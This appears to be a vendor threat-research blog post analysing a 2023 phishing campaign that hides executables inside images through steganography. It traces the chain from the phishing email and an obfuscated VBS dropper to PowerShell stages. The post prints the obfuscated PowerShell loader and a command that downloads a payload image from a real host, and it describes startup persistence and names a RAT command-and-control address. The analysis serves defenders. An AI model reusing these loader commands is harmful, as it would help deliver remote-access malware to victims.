UPD: The section “Additional tasks” has been updated to include a new November 2023 steganography campaign.
Malware delivery techniques are always evolving to bypass security measures. Gone are the days when a scammer could simply send an executable file as an email attachment — today, it simply won’t get past email filters.
Threat actors are experimenting with evasion techniques
To evade detection by automatic analysis tools, attackers are adding layers of complexity. We’ve seen passwords on archives, captchas, and even QR codes integrated into recent attacks — we covered them in detail in a previous article.
Attackers also vary the types of files they use as attachments. They opt for lnk files, img or iso image files, among others, to deceive security systems. Multiple techniques are often used in conjunction to increase the chances of a successful breach.
Today, we want to highlight a resurgence in the use of steganography, a method that embeds malicious code within a benign file or image.
What is steganography?
Steganography hides data within another file or medium, effectively making it invisible. Unlike encryption, which scrambles but clearly marks data as confidential, steganography camouflages the data, blending it in with its surroundings.
This can be used to evade security defenses. Malicious code may be embed in image files or even network traffic, aiming to make it indistinguishable from regular, benign data. This way, the hidden malware is less likely to trigger security alerts.
Steganography is gaining traction
Steganography has been around for a while, but it hasn’t been a go-to method for attackers. The main reason is that simpler payload delivery techniques have been effective enough. However, recently we’ve noticing an uptick in the use of steganography in cyber attacks.
To better understand how this technique is being deployed, let’s walk through an example and demonstrate how to detect hidden data using ANY.RUN.
Breaking down a steganography campaign
We’ll use this task in ANY.RUN to walk through how this campaign operates. Keep in mind that attack strategies in this campaign can vary. At each stage of the attack chain, we’ll point out where the tactics might deviate from our example.
Initial infection vector
In the initial stage, we encounter various phishing tactics that employ different types of bait. Usually, the user gets a phishing email that either has an attachment containing a malicious document or a link to download a payload. These tactics align with MITRE ATT&CK techniques Spearphishing Attachment (T1566.001) or Spearphishing Link (T1566.002).
In our specific example, the phishing email poses as a Colombian government organization. Take note of the archive password “0410” mentioned in the email — it will come into play later.
The next step varies based on the initial attack vector. If it’s a malicious attachment, the exploit CVE-2017-11882 is leveraged to download the payload. If it’s a link, the user downloads an archive containing malicious content and executes it, triggering the payload download. This maps to MITRE ATT&CK technique Exploitation for Client Execution (T1203).
In our example, clicking the link in the email redirects to ydray[.]com, where an archive is downloaded. To open it, we use the password “0410” provided in the email. Inside, we find a VBS file with a long, deceptive file name. When a malicious document is used, the VBS file is downloaded and executed automatically through the CVE-2017-11882 exploit, requiring the user only to open the Microsoft Office file.
The VBS script is responsible for fetching the next stage of the attack. It is executed using wscript, aligning with the MITRE ATT&CK technique Command and Scripting Interpreter: Visual Basic (T1059.005).
In addition, the VBS script is heavily obfuscated — and it is bloated to around 350-400 KB with junk data to make analysis challenging.
Deobfuscating the VBS file
Deobfuscating the VBS script manually would be time-consuming, but that’s where an interactive sandbox like ANY.RUN comes in handy. We’ll execute the script and observe its behavior through dynamic analysis.
To simplify the task, we’ll focus on the command line of its child PowerShell process. Specifically, we’ll examine the process with PID 3540. Here’s a snippet of what we see in the task:
|"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBw/....cut a lot here …./eDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreVwBpDgTreG4DgTreZDgTreBvDgTreHcDgTrecwBcDgTreFQDgTreZQBtDgTreHDgTreDgTreXDgTreDgTrenDgTreCwDgTreIDgTreDgTrenDgTreEkDgTreZwBmDgTreHgDgTreJwDgTrepDgTreCkDgTre'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('DgTre','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
At this point, the situation becomes pretty clear. The PowerShell command includes obfuscation and flags for stealthy execution, indicating malicious intent. While you could decode the observed actions using a tool like CyberChef, the red flags are strong enough to suggest it’s easier just to move on to the next process in the chain. Let’s examine the command line of the subsequent process with PID 4060.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<
From the cmd output, it’s evident that PowerShell downloads a file from the uploaddeimagens resource. It then extracts information between the <<BASE64_START>> and <<BASE64_END>> flags. Additionally, an Igfx.lnk file is created and placed in the startup directory. The command line of this file reveals that upon OS reboot, a PowerShell process will execute the Igfx.vbs file from the Temp directory, running it in a hidden window. This gives us key insights into the malware’s persistence mechanism.
Following this, the extracted information is decoded from base64. An assembly is then loaded from the converted byte array and executed.
Turning our attention to the image file, a static analysis initially reveals what appears to be a legitimate image. However, upon inspecting the HEX tab and scrolling down, we find the <<BASE64_START>> flag, previously seen in the PowerShell cmd. Right after this flag, we see the text “TVq,” which is the base64 encoded MZ signature for executable files. This confirms the use of steganography to hide malicious code within the image.
Extracting the payload in CyberChef
The script from the VBS file we’ve looked at above triggers PowerShell to download an image file. This image contains a base64 encoded executable, aligning with MITRE ATT&CK technique Obfuscated Files or Information: Command Obfuscation (T1027.010). PowerShell then extracts and executes the hidden executable, fulfilling the criteria for Obfuscated Files or Information: Steganography (T1027.003).
To make payload extraction easier, we’ve created a universal recipe in CyberChef. This allows you to extract and decode hidden payloads from images efficiently. Here’s how:
1. While still in ANY.RUN, download the image by clicking on the Download button.
2. Follow the link to the recipe in CyberChef.
3. Upload the file you downloaded in step 1 to CyberChef.
4. Grab the payload that you’ve extracted from the image.
In the final stage, the malicious code is executed via proxy through Regasm. Among the tasks we’ve analyzed, we’ve encountered various payloads like AgentTesla, AsyncRAT, NjRAT, Dtloader, and Remcos.
As of the end of October 2023, the campaign is ongoing.
If you’d like to review more tasks where adversaries deployed steganography, check out these samples in ANY.RUN:
First half of October 2023
Second half of October 2023
We’ve spotted the use of steganography in a new campaign.
Steganography is used in multiple stages:
- The modified “Google Update” app downloads multiple PE files and an image containing a DLL
- TrueUpdate, downloaded in the previous step, extracts and decrypts the DLL from the image file with 256 bytes XOR key and transfers control to the received DLL
- Then a malicious module comes into play, hosting a Remote Access Trojan and intercepting control. The actions of #gh0strat become evident on the network at the specified address️ 18.104.22.168:7700
Steganography, once seen as too complex for regular deployment, is possibly being revived as a wide-spread malware delivery mechanism. It’s not just tricky to implement — it’s also difficult to detect.
But as the analysis above showed, using dynamic analysis in ANY.RUN, along with Static discovering and CyberChef for payload extraction, can significantly reduce the manual work required for incident analysis or investigation.
Are you interested in trying the full range of ANY.RUN capabilities? Simply request a trial today. Request a trial today and enjoy 14 days of free access to our Enterprise plan.
Appendix 1: IOC
Appendix 2: MITRE MATRIX
Without tactics and techniques used by downloaded malware samples.
|TA0001: Initial Access
|T1566.001: Phishing. Spearphishing Attachment
|Send spearphishing emails with a malicious attachment
|T1566.002: Phishing. Spearphishing Link
|Send spearphishing emails with a malicious link
|T1203: Exploitation for Client Execution
|Exploit software vulnerabilities in client applications to execute code
|T1059.005: Command and Scripting Interpreter: Visual Basic
|Abuse of command and script interpreters to execute commands, scripts, or binaries
|TA0005: Defense Evasion
|T1027.010: Obfuscated Files or Information: Command
|Obfuscation T1027.003: Obfuscated Files or Information: Steganography
|T1218.009: System Binary Proxy Execution: Regasm
|Bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries